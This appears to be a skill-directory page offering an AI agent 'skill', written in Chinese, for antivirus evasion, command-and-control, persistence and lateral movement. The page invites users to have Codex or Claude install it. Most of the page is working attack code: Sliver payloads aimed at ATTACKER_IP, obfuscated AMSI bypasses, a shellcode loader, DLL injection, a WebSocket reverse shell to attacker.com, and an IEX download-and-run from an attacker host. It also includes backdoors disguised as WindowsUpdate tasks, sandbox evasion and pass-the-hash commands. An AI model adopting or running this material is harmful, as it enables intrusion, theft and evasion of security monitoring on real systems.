Menú
免杀对抗 — AV绕过、C2框架、权限维持、横向移动、隐蔽通信
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Basado en la clasificación ocupacional SOC
Delegate coding to OpenAI Codex CLI (features, PRs).
Configure, extend, or contribute to Hermes Agent.
Manage multiple remote servers from Hermes via SSH — deploy services, configure firewalls, transfer files, run commands across servers
Clone/create/fork repos; manage remotes, releases.
Parallel data collection from web sources, APIs, and documentation sites
Deploy static sites to GitHub Pages via API — create repo, push, enable Pages, all from CLI
| name | evasion-techniques |
| description | 免杀对抗 — AV绕过、C2框架、权限维持、横向移动、隐蔽通信 |
| version | 1.0.0 |
| author | Hermes Agent |
| license | MIT |
| metadata | {"hermes":{"tags":["evasion","av-bypass","c2","persistence","stealth","red-team"]}} |
| 工具 | 用途 |
|---|---|
| Metasploit | 渗透框架 |
| Sliver | 开源C2框架 |
| Havoc | 开源C2框架 |
| Covenant | .NET C2框架 |
| Empire | PowerShell C2 |
| Mythic | 跨平台C2框架 |
| Cobalt Strike | 商业C2(参考) |
| Veil | Payload生成 |
| Shellter | PE注入 |
| Donut | .NET/PE/Shellcode转换 |
| ScareCrow | Payload混淆 |
| AMSI Bypass | 绕过Windows Defender |
| Obfuscator | 代码混淆 |
| Chisel | 隧道 |
| ligolo-ng | 反向代理 |
| dnscat2 | DNS隧道 |
| iodine | DNS隧道 |
# 安装
curl https://sliver.sh/install|sudo bash
# 服务端
sliver-server
# 生成Payload
generate --mtls ATTACKER_IP --os windows --arch amd64 --save shell.exe
generate --http https://domain.com --os linux --save shell.elf
# 监听
mtls --lport 443
http --domain domain.com
# 客户端连接后
sessions # 列出会话
use <session_id> # 选择会话
info # 会话信息
shell # 获取shell
execute -o "whoami" # 执行命令
# 高级功能
execute-assembly /path/to/tool.exe # 内存执行.NET
inject --pid <PID> --arch amd64 # 进程注入
# 安装
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc && make
# 启动
./havoc server --profile ./havoc.yaotl
# 生成Payload
# Web界面 → Attack → Payload → 选择类型
# Docker安装
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic && sudo ./install_docker_ubuntu.sh
sudo make
# 启动
sudo ./mythic-cli start
# Web界面
# https://localhost:7443
# 变量名混淆
import random, string
def random_name(length=8):
return ''.join(random.choices(string.ascii_letters, k=length))
# 字符串加密
def xor_encrypt(data, key):
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
# Base64 + XOR多层加密
import base64
def multi_encode(shellcode, key=b"mykey"):
encrypted = xor_encrypt(shellcode, key)
return base64.b64encode(encrypted)
# 安装
git clone https://github.com/TheWover/donut.git
cd donut && make
# .NET → Shellcode
./donut -f payload.exe
# PowerShell → Shellcode
./donut -f script.ps1
# Python加载shellcode
import ctypes
shellcode = open("payload.bin", "rb").read()
ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(addr, shellcode, len(shellcode))
ctypes.windll.kernel32.CreateThread(0, 0, addr, 0, 0, 0)
git clone https://github.com/optiv/ScareCrow.git
cd ScareCrow && go build -o ScareCrow
# 生成免杀Payload
./ScareCrow -Loader binary -payload shell.exe
./ScareCrow -Loader dll -payload shell.dll
./ScareCrow -Loader shellcode -payload shell.bin
# 支持的加载器
# binary - EXE
# dll - DLL注入
# shellcode - 原始shellcode
# control - Control Panel (.cpl)
# wscript - WScript
# 方法1: 补丁AMSI.dll
$a=[Ref].Assembly.GetTypes()|?{$_.Name -like "*iUtils"};$b=$a.GetFields('NonPublic,Static')|?{$_.Name -like "*Context"};[IntPtr]$c=$b.GetValue($null);[Int32[]]$d=@(0);[System.Runtime.InteropServices.Marshal]::Copy($d,0,$c,1)
# 方法2: 设置AMSI为未初始化
S`eT-It`em ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'U','il','t','nageme','A.','ils','S' ) )."g`et`fie`Ld"( ( "{0}{2}{1}" -f'rit','aged','M' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPub','c','lic' ))."SET`vaLUE"(${n`ULl},${t`RuE} )
# 方法3: 反射DLL注入
[System.Reflection.Assembly]::Load([byte[]](Get-Content -Path "amsi.dll" -Encoding Byte))
// Patch ETW (Event Tracing for Windows)
// 找到EtwEventWrite地址，修改第一个字节为0xC3(RET)
var etw = typeof(System.Diagnostics.Eventing.EventProvider).Assembly.GetType("System.Runtime.InteropServices.Marshal")
.GetMethod("GetDelegateForFunctionPointer");
# dnscat2
# 服务端
ruby dnscat2.rb --dns domain=attacker.com --secret=mysecret
# 客户端
dnscat2-client attacker.com
# iodine
# 服务端
iodined -f 10.0.0.1 attacker.com
# 客户端
iodine attacker.com
# C2通过HTTPS通信
# 优点: 加密、看起来正常
# 使用合法域名做前置:
# - Cloudflare Workers
# - Azure Functions
# - AWS Lambda
# - GitHub Pages
# 利用CDN的SNI和Host不一致
# TLS SNI: cdn.legitimate.com
# HTTP Host: attacker.com
# CDN将请求转发到attacker.com
# 配置C2使用域前置
# 在Cloudflare/AWS CloudFront设置
# WebSocket作为C2通信通道
import websockets, asyncio
async def c2_client():
async with websockets.connect("wss://attacker.com/ws") as ws:
while True:
cmd = await ws.recv()
result = subprocess.run(cmd, shell=True, capture_output=True)
await ws.send(result.stdout)
// 简化DLL注入
#include <windows.h>
void InjectDLL(DWORD pid, const char* dll_path) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID addr = VirtualAllocEx(hProc, NULL, strlen(dll_path)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, addr, dll_path, strlen(dll_path)+1, NULL);
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"),
addr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, addr, 0, MEM_RELEASE);
}
# 创建挂起的目标进程
# 替换其内存中的代码
# 恢复执行
# 使用donut生成shellcode
# 注入到合法进程(svchost, explorer等)
// 异步过程调用注入
QueueUserAPC((PAPCFUNC)shellcode_addr, hThread, 0);
// 或
NtQueueApcThread(hThread, shellcode_addr, 0, 0, 0);
# 注册恶意COM对象
# HKCU\Software\Classes\CLSID\{GUID}\InprocServer32
# 指向恶意DLL
# 常见被劫持的COM对象
# {0A8E561E-5C11-4D9C-9B2E-...} (各种自动启动的COM)
# 创建永久事件订阅
$Filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
Name = "MyFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
Name = "MyConsumer"
CommandLineTemplate = "C:\temp\backdoor.exe"
}
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
# 隐藏的计划任务
schtasks /create /tn "Microsoft\Windows\WindowsUpdate" /tr "C:\temp\backdoor.exe" /sc onlogon /ru SYSTEM /f
# 使用XML创建(更隐蔽)
Register-ScheduledTask -Xml (Get-Content task.xml | Out-String) -TaskName "WindowsUpdate"
import os, time, ctypes
def is_sandbox():
# 1. 检查进程数量
if len(os.popen('tasklist').readlines()) < 30:
return True
# 2. 检查内存大小
import psutil
if psutil.virtual_memory().total < 2 * 1024**3: # < 2GB
return True
# 3. 检查CPU核心数
if os.cpu_count() < 2:
return True
# 4. 检查磁盘大小
if os.path.getsize('/') < 60 * 1024**3: # < 60GB
return True
# 5. 检查最近鼠标移动
# (需要Windows API)
# 6. 检查已安装软件
common_apps = ['VMware', 'VirtualBox', 'Sandboxie', 'Cuckoo']
# ...
return False
# 延迟执行(等沙箱超时)
time.sleep(300) # 5分钟
# 运行前先patch
# 然后加载工具
IEX (New-Object Net.WebClient).DownloadString('http://attacker/tool.ps1')
# Impacket
psexec.py -hashes :NTHASH domain/user@target
wmiexec.py -hashes :NTHASH domain/user@target
smbexec.py -hashes :NTHASH domain/user@target
# 获取TGT
getTGT.py domain/user -hashes :NTHASH
# 使用TGT获取服务票证
export KRB5CCNAME=user.ccache
getST.py -spn cifs/target domain/user -k -no-pass
# 启用PSRemoting
Enable-PSRemoting -Force
# 远程执行
Invoke-Command -ComputerName target -ScriptBlock { whoami }
# 交互式会话
Enter-PSSession -ComputerName target